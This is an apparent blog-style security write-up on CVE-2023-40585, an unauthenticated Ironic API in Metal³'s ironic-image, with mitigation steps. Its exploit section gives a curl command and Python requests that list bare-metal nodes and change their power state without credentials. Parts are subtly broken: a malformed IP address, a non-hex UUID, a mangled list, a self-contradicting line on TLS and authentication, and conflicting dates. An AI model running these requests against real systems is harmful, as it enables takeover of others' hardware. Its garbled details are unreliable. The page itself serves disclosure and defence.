*June 2024, by an Exclusive Security Analyst*
Metal³ helps automate bare metal provisioning for Kubernetes infrastructure, making bare metal ops much friendlier. A key part of Metal³ is the ironic-image container, which runs OpenStack Ironic. But if you’ve been running it without proper TLS and authentication, you may be exposing your servers with CVE-2023-40585: a pretty serious vulnerability in versions before capm3-v1.4.3.
Let’s see how it appears, "poke it with a stick" as sysadmins say, and learn how to patch or workaround the problem before someone else finds your Ironic API on the public internet.
The Gory Details
Imagine: you run Metal³. You’re excited about hardware provisioning. Everything works — so you don’t look closely at security defaults. For capm3 versions before v1.4.3, if you disable TLS on Ironic *and* don’t split API/Conductor, your Ironic API listens on the host network — and, shockingly, with no authentication at all.
Anyone who can reach your node’s Ironic API port can list, delete, or take over your hardware deployments. Insecure by design if TLS is not explicitly enabled. This is a pretty classic example of "secure by accident, vulnerable by misconfiguration."
Your firewall allows external access to the host (ouch)
Let’s say you have node with IP 203..113.126. By default, Ironic API listens on port 6385. Using curl, you’d just do:
curl http://203..113.126:6385/v1/nodes
If you see a JSON list of bare metal nodes, congratulations, you’ve got the issue. No login prompt, no angry admin emails, just data.
Here’s what the output might look like
{
"nodes": [
{
"uuid": "1234abcd-5678-efgh-1234-56789abcdef",
"name": "baremetal-1",
"provision_state": "active",
...
}
]
}
And yes, you could also POST, DELETE, or power them off remotely. Bad day.
Exploit Details
This isn’t a fancy memory corruption; this is “missing lock on the front door.” Let’s show a Python snippet that lists all nodes without authentication:
import requests
api_url = "http://203..113.126:6385/v1/nodes"
resp = requests.get(api_url)
if resp.status_code == 200:
print("Nodes exposed:", resp.json())
else:
print("Could not access. Status:", resp.status_code)
Worse, you could even set a node’s power state
import requests
headers = {"Content-Type": "application/json"}
power_on_payload = {
"target": "power on"
}
node_uuid = "1234abcd-5678-efgh-1234-56789abcdef"
power_api = f"http://203..113.126:6385/v1/nodes/{node_uuid}/states/power"
r = requests.put(power_api, headers=headers, json=power_on_payload)
print("Power change:", r.status_code, r.text)
Exposing the Ironic API means an attacker can
- Restore/reimage machines at will,
Conduct internal privilege escalation.
This is especially dangerous in cloud or colocation scenarios, or if your test/dev lab gets left unprotected.
Patching the Problem
The permanent fix: Upgrade to Metal³ Ironic image capm3 version v1.4.3 or newer. GitHub Release Notes
- Security Advisory Reference
- CVE Record
Enable TLS with authentication _even if you think your cluster is private_.
- If using the deploy.sh script, add the -t flag, or set IRONIC_TLS_SETUP=true in your environment:
`bash
./deploy.sh -t
export IRONIC_TLS_SETUP=true
./deploy.sh
`
2. Alternatively, split the API and Conductor via configuration. (Not recommended, as it's deprecated and tricky to manage.)
Both solutions result in Ironic’s API getting protected by httpd front-end with proper basic authentication (user/password), limiting public access.
NOTE: Never rely only on TLS; *authentication and TLS should not be coupled*. TLS without authentication is only “private” as long as your network never changes, and you never misconfigure a firewall.
Summary Table
| Version | Is It Vulnerable? | Default Setup | Fixed? |
|-------------------|-----------------------------|--------------------|-------------|
| < capm3 v1.4.3 | YES, if TLS and auth off | Sometimes Insecure | No |
| capm3 v1.4.3+ | NO, API always protected | Secure | Yes |
References
- ironic-image Github
- CVE-2023-40585 on NVD
- Metal³ Security Advisory GHSA-95fv-9h7f-xxqm
- OpenStack Ironic User Guide
Final Words
If you use Metal³, double-check your Ironic config — especially your TLS and authentication settings — right now. Whole clusters have been left wide open just because "it’s just internal," and someone forgot about a forgotten, un-firewalled subnet. CVE-2023-40585 isn’t the hardest bug to find, but it’s the sort of thing attackers love.
Timeline
Published on: 08/25/2023 21:15:00 UTC
Last modified on: 09/01/2023 21:15:00 UTC